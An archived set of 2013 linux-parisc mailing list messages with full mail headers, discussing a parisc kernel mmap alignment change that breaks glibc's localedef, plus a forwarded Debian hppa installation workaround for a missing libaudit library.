> >mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
> >mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
> >
> >With the patch reverted, it works:
> >
> >mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
> >mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000
> >
> >BTW, note that for GLIBC 2.18 some changes were done regarding this:
> >https://sourceware.org/bugzilla/show_bug.cgi?id=10283
> Are you sure the glibc changes are correct?  PARISC addresses are
> not strictly aligned to SHMLBA.

No, I'm not sure. I just wanted to report this issue since I see it on
my box and there is a recent kernel change that seems to be somewhat
related. Of course if the glibc is broken we should try to fix that.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 21:28:41 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <52B356F9.9050008@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387484918 12252 80.91.229.3 (19 Dec 2013 20:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 20:28:38 +0000 (UTC)
Cc: 'Mike Frysinger' <vapier@gentoo.org>
To: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 21:28:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtkD6-0002Y0-Ce
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 21:28:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755747Ab3LSU2n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 15:28:43 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:56429 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755619Ab3LSU2n (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 15:28:43 -0500
Original-Received: from [192.168.178.60] ([84.173.52.205]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LlVZv-1VKx9q3ToF-00bHLx for
 <linux-parisc@vger.kernel.org>; Thu, 19 Dec 2013 21:28:42 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:9WjFXeQQqnhF5KbZh+ggLjRfw0Gn7+9+T0s+HvLC5ULTPg0MBy4
 rzTP3s7azPKxoBsOX+l7pPcfaM6zlmTNPlbOJUL+qAD5mCcWCXmO7/ZxUzdWsBGzFnbDyNr
 h8s6ie/FAjwRcPIlhMEgoHtHyu4uGO2VMTGRNm/nIVE1YBtpsD8aOGLWZQXA5utJGI47Z+0
 DyBefgAf1Yc1jeKVtf/CQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5550>

Hello Aaro,

On 12/19/2013 08:17 PM, Aaro Koskinen wrote:
> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> 
> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> cannot map archive header: Invalid argument
> 
> strace looks like this:
> 
> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
> 
> With the patch reverted, it works:
> 
> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000

It maybe doesn't fail now, but it's not correctly mapped either.
So, even if you don't get the EINVAL error, it might not work properly.
The patch I send just corrected this wrong behaviour.

> BTW, note that for GLIBC 2.18 some changes were done regarding this:
> https://sourceware.org/bugzilla/show_bug.cgi?id=10283

Mike Frysinger already mentioned something like that some time ago:
http://www.spinics.net/lists/linux-parisc/msg05204.html

I think we need to take a look at the glibc again...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 22:53:50 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20131219205349.GE2881@blackmetal.musicnaut.iki.fi>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <52B356F9.9050008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1387486424 29748 80.91.229.3 (19 Dec 2013 20:53:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 20:53:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, 'Mike Frysinger' <vapier@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 21:53:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtkbH-00031i-Hd
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 21:53:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756542Ab3LSUxm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 15:53:42 -0500
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:52233 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756534Ab3LSUxm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 15:53:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 43D785A6FA6;
	Thu, 19 Dec 2013 22:53:40 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp4.welho.com ([213.243.153.38])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id UCfNwDsvqDLQ; Thu, 19 Dec 2013 22:53:35 +0200 (EET)
Original-Received: from musicnaut.iki.fi (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp4.welho.com (Postfix) with SMTP id 6EE505BC010;
	Thu, 19 Dec 2013 22:53:35 +0200 (EET)
Original-Received: by musicnaut.iki.fi (sSMTP sendmail emulation); Thu, 19 Dec 2013 22:53:50 +0200
Content-Disposition: inline
In-Reply-To: <52B356F9.9050008@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5551>

Hi,

On Thu, Dec 19, 2013 at 09:28:41PM +0100, Helge Deller wrote:
> On 12/19/2013 08:17 PM, Aaro Koskinen wrote:
> > This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> > mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> > 
> > $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> > cannot map archive header: Invalid argument
> > 
> > strace looks like this:
> > 
> > mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
> > mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
> > 
> > With the patch reverted, it works:
> > 
> > mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
> > mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = 0x43000000
> 
> It maybe doesn't fail now, but it's not correctly mapped either.
> So, even if you don't get the EINVAL error, it might not work properly.
> The patch I send just corrected this wrong behaviour.

The generated locale-archive seemed to be correct (md5sum matched my other
machines). Anyway, I'll avoid running localedef on parisc for time being.

Thanks for info,

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 16:19:03 -0500
Organization: wh0rd.org
Lines: 75
Approved: news@gmane.org
Message-ID: <201312191619.05005.vapier@gentoo.org>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart8795544.5k3dsq6lmD";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387487940 14412 80.91.229.3 (19 Dec 2013 21:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 21:19:00 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 22:19:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vtkzo-0002od-AU
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 22:19:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754984Ab3LSVTD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 16:19:03 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:46368 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753746Ab3LSVTC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 16:19:02 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 7952933F5CC;
	Thu, 19 Dec 2013 21:19:01 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.12.1; KDE/4.6.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5552
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5552>

--nextPart8795544.5k3dsq6lmD
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
> > This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> > mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> >=20
> > $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> > cannot map archive header: Invalid argument
> >=20
> > strace looks like this:
> >=20
> > mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) =3D 0x42f34000
> > mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, =
3,
> > 0) =3D -1 EINVAL (Invalid argument)
> >=20
> > With the patch reverted, it works:
> >=20
> > mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) =3D 0x42d74000
> > mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, =
3,
> > 0) =3D 0x43000000
> >=20
> > BTW, note that for GLIBC 2.18 some changes were done regarding this:
> > https://sourceware.org/bugzilla/show_bug.cgi?id=3D10283
>=20
> Are you sure the glibc changes are correct?  PARISC addresses are not
> strictly aligned to SHMLBA.
> There's also a page offset and "random" offset derived from the kernel
> address of the mapping struct.

the glibc changes were to use SHMLBA as the min alignment where as before i=
t=20
was using PAGE_SIZE.  the kernel shouldn't reject us because we manually=20
increased our alignment ... the mappings should still be overlapping, so it=
=20
shouldn't be an "out of mapping space" issue.

the first one gets a really large map (not fixed), and then the second does=
 a=20
small mapping inside of that first one.
=2Dmike

--nextPart8795544.5k3dsq6lmD
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJSs2LIAAoJEEFjO5/oN/WBccIQAJW++byloSrRlXgaMQhVKgOI
ptzmtjI1YfCYIWV9JFf92KsaJ6m2ATYux2IJ5bib0xLJu03FFvJFUTgQnnra7vVn
AlRtL3nACUd2qUH8nSXrYWYH64e+G9QoBaX6ZU1+Bczn0mxneZaSYRFzN5qY4s9C
xrdIVS0jpFMo9N1xHI/9F5uEjKaSZWFgggS7ykP6FgqaOs4j33ZMs8y2Ne6sXlfy
RizCVoqNX6NzXvESSyPTlm0RhuCNc5chkAOOuT2rpmr+kYNF7LZz4zcj0T1M6ncn
UbwvUwPve6K0H/Br4lW56UyHfDCvWVhntB6mmd4vTP7WCje1Sf8eB0XXOIzpCS0W
x1Wv7zd+3tfDtRMteHSHK2FnRt8LlshGlyVaVr9duttf5cf6BsrNQKDYcXT2paWe
zq3nwre+6U+rzEkVf1JdOiuCiBaOGHI0l00sGD+2rvaOikIgeJW2YV7vd7GBfluG
1tzgsQQN023xxnKuF76jpYSYZEYFErdz84shiCdasBId11851zDT3MDiJeHMOxjf
3OnL4YMgqxSGbLWIdB3UdmhUI0OyvG42vKA20lOVLwNCjG4g1j09jncscoaw+cev
rWk0QAK5tuFxALhUXKofHOF+PyRpkbpvsTcjINoRD3/qfP+PwCN5ons8VAiWbtW/
MyZsTPvb307uaQPGNozx
=evsn
-----END PGP SIGNATURE-----

--nextPart8795544.5k3dsq6lmD--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Missing libaudit.so.0 workaround on hppa lifimage/debian-ports
 install
Date: Thu, 19 Dec 2013 15:15:38 -0700
Lines: 113
Approved: news@gmane.org
Message-ID: <52B3700A.5040704@landcomp.net>
References: <52AFEFC2.5000702@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387491737 24450 80.91.229.3 (19 Dec 2013 22:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 22:22:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 23:22:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vtlz4-0002hy-L5
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 23:22:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755254Ab3LSWWV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 17:22:21 -0500
Original-Received: from landcomp.net ([192.119.43.5]:13450 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754228Ab3LSWWU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 17:22:20 -0500
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Thu, 19 Dec 2013 17:22:20 EST
Original-Received: (qmail 20741 invoked by uid 453); 19 Dec 2013 22:15:39 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Thu, 19 Dec 2013 15:15:39 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <52AFEFC2.5000702@landcomp.net>
X-Forwarded-Message-Id: <52AFEFC2.5000702@landcomp.net>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5553>

Hiya Folks,

I posted this over at the Debian-hppa mailing list, and I thought it 
might be a good idea to post it here also, since it is rather relevant 
to the group. :)

Dave L.


-------- Original Message --------
Subject: Missing libaudit.so.0 workaround on hppa lifimage/debian-ports 
install
Resent-Date: Tue, 17 Dec 2013 06:31:49 +0000 (UTC)
Resent-From: debian-hppa@lists.debian.org
Date: Mon, 16 Dec 2013 23:31:30 -0700
From: Dave Land <xmechanic@landcomp.net>
To: debian-hppa@lists.debian.org

Hiya folks,

This may be a little lengthy, and an odd solution, but it worked to
debootstrap 2 different machines here in the last couple days.

The problem was.. when you would get to the point in the lifimage
install where you had to chroot your /mnt/destroot directory to run the
passwd utility to set the root password, it would error out with a
missing libaudit.so.0 library. I'll try to keep this as simple as
possible for those just trying this out on their hardware for the first
time, and once things get smoothed out at debian-ports.org, it most
likely won't be necessary anymore.

1. Get your latest lifimage and burn it to a CD, here:
http://ftp.parisc-linux.org/debian-ports/unstable-boot-image/lifimage

2. Follow the instructions at:
http://wiki.parisc-linux.org/Debian_Ports_Installation up to the point
where you have to chroot to /mnt/destroot to set your root password.

3. *Before* you chroot, use nano to edit your
/mnt/destroot/etc/apt/sources.list file to include the parisc-linux.org
repository (deb http://ftp.parisc-linux.org/debian-ports/debian unstable
main)

4. Now, chroot /mnt/destroot...

5. Since you're ch-rooted to the main file system, you can now run the
apt utilities to do what you need to, but before you do, you must get
the gpg keys for debian-ports.org before it will work; something like this..

6. gpg --recv-keys 1C466F272FF7A9F4 --keyserver
http://ftp.debian-ports.org/debian

7. gpg --export --armor 2FF7A9F4 | apt-key add -

8. Run apt-get update to refresh the package lists

9. Run apt-get upgrade (you'll get some unmet dependencies)

10. Run apt-get -f install (this fixes them)

11. Run apt-get update again

12. Run apt-get upgrade *again* (this pulls in the rest of the upgraded
packages from both sources.

13. Now... you should be able to set your root password successfully!

14. Type 'exit' to get out of the chroot.

15. Use nano to edit /mnt/destroot/etc/hostname to give your machine a name.

16. Follow through with the rest of the installation and get your latest
kernel for your architecture, palo, openssh-server, etc. Don't forget to
set your links in /mnt/destroot/boot/ as described in the instructions
and follow the palo setup to the letter. Reboot and your machine should
boot to a login prompt. Login as root, and you're off!

Sidenotes: I ran into an issue on both machines where the primary
network interface (usually eth0) wouldn't start on it's own and I had to
add the following to /etc/network/interfaces

allow-hotplug eth0

iface eth0 inet dhcp

Edit this to point to your primary network interface.
After that my network came up automatically at each boot/reboot.

Here's the current results of my labors over the last few days:

http://landcomp.net:882 (the newest one, just finished this evening)
http://landcomp.net:883 (the RP 2470 A500 server)
http://landcomp.net:884 (the J6750 workstation with our development
website and *current* buildd server)

Enjoy!

Dave L.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523





--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 17:38:37 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387492711 2347 80.91.229.3 (19 Dec 2013 22:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 22:38:31 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 19 23:38:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VtmEm-0005EI-Kt
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Dec 2013 23:38:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755800Ab3LSWig (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Dec 2013 17:38:36 -0500
Original-Received: from [65.55.111.166] ([65.55.111.166]:16167 "EHLO
	blu0-omc4-s27.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754699Ab3LSWig (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Dec 2013 17:38:36 -0500
Original-Received: from BLU0-SMTP45 ([65.55.111.136]) by blu0-omc4-s27.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 19 Dec 2013 14:38:15 -0800
X-TMN: [83SygC4XsyhyZRbQHxEmaFGObhvQBaDK]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.14.35.191]) by BLU0-SMTP45.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 19 Dec 2013 14:38:14 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <201312191619.05005.vapier@gentoo.org>
X-OriginalArrivalTime: 19 Dec 2013 22:38:14.0554 (UTC) FILETIME=[011E17A0:01CEFD0B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5554>

On 12/19/2013 4:19 PM, Mike Frysinger wrote:
> On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
>> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
>>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
>>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>>>
>>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
>>> cannot map archive header: Invalid argument
>>>
>>> strace looks like this:
>>>
>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>> 0) = -1 EINVAL (Invalid argument)
>>>
>>> With the patch reverted, it works:
>>>
>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>> 0) = 0x43000000
>>>
>>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
>>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
>> Are you sure the glibc changes are correct?  PARISC addresses are not
>> strictly aligned to SHMLBA.
>> There's also a page offset and "random" offset derived from the kernel
>> address of the mapping struct.
> the glibc changes were to use SHMLBA as the min alignment where as before it
> was using PAGE_SIZE.  the kernel shouldn't reject us because we manually
> increased our alignment ... the mappings should still be overlapping, so it
> shouldn't be an "out of mapping space" issue.
>
> the first one gets a really large map (not fixed), and then the second does a
> small mapping inside of that first one.
> -mike
The mmap check is here:

         if (flags & MAP_FIXED) {
                 if ((flags & MAP_SHARED) &&
                     (addr - shared_align_offset(filp, pgoff)) & (SHMLBA 
- 1))
                         return -EINVAL;
                 return addr;
         }

In the case at hand, the addr value passed is not equivalent to the value
returned on first mmap2 call.  So, the error is correct.  The 
application has to
preserve the "SHMLBA - 1" part of the address when selecting a new map 
address.

The error is EINVAL (i.e., bad address).

The old code wouldn't have returned an error but the second mapping 
would not
have been equivalent to the first.

My head spins regarding mappings inside mappings as it seems they may 
conflict.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 19 Dec 2013 18:02:37 -0500
Organization: wh0rd.org
Lines: 113
Approved: news@gmane.org
Message-ID: <201312191802.39169.vapier@gentoo.org>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <201312191619.05005.vapier@gentoo.org> <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2381712.e94IgjGsNi";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387494152 17679 80.91.229.3 (19 Dec 2013 23:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Dec 2013 23:02:32 +0000 (UTC)
